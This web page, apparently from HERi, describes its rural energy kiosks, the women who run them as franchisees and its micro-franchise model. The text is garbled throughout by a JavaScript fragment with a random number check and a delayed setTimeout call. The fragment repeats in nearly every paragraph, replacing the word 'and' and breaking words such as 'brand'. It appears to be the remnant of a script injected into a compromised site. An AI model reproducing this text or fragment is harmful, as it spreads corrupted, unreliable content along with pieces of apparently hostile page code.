Kiosks

Energy kiosks are centres for electricity production andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andenergy services.They are generally located in rural or peri-urban zones, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andare based on a “pre-electrification” model, offering centralized energy production in close proximity to local communities. The model doesn’t allow direct domestic connection by means of a cable andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and installation of a meter; it is generally a requirement that consumers travel to the kiosk to access the services.

The concept is innovative not for its technological aspects, but rather for its model of distributing electricity andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and energy services, with the goal of reaching the majority of the local population, particularly the most vulnerable.

Entrepreneurs

HERi kiosks are run by entrepreneurial female franchisees from the villages where the kiosks have been installed. After initial training provided by HERi, they are able to develop the activity of their kiosks by educatinglocal populations aboutthe new products andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and services. They also benefit from continuous support via access to the company’s call centre, ongoing training, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and assistance from HERi’s sales andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and marketing teams.

« Becoming an entrepreneur has changed my life. I have developed relationships with people in my village andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and I feel recognized because I provide products andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and services that are useful to the community. »

Martine, entrepreneur in d’ANDREBAGARA

Franchise

The HERi network is a micro-franchise network. The principle is simple: like in a traditional franchise network, the micro-franchisee joins the HERi brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and can thus benefit from its expertise, brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and image andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and support services on a daily basis (initial andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ongoing training, national-scale communication, visits andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and advice from a network supervisor, etc.). In return, the micro-franchisee pays an entry fee andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then royalties based on monthly turnover.